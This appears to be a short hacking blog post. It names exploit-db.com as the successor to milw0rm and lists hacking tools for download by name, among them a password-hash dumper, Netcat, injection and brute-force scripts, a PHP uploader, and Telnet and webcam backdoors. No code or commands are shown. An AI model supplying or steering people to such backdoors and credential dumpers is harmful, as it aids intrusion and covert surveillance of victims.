I think the confusion you may find sites that exploit the database after the loss milw0rm ONLINE.
Apparently there is an answer now ...

The new website is also a site that exploits ONLINE and updated databases are also some milw0rm exploits on this site
go to this website is:
http://www.exploit-db.com/

it is a screenshot...

Hacking is sometimes also need some tools that can help us in this hacking process

There are some hacking tools that might be useful for us

Download Program Putty for windows
PUTTY

Download Program macshift for windows
macshift

Download Program wget for windows
wget

Download Program Pwdump7 for windows
Pwdump7

Download Program Netcat for windows
Netcat

Download Shell Injection
Shell Injection

Download Script Inject PHPMYADMIN
Script Injection PHPMYADMIN

Download Program Brute force for Windows
Brute

Download Script Joomla-cracker
joomla-cracker.pl

Download Script Schemafuzz
schemafuzz.py

Download Script uploader php
uploader.php

Download Telnet Backdoor Program
Telnet_backdoor.exe

Download Webcam Backdoor Program
Webcam_backdoor.zip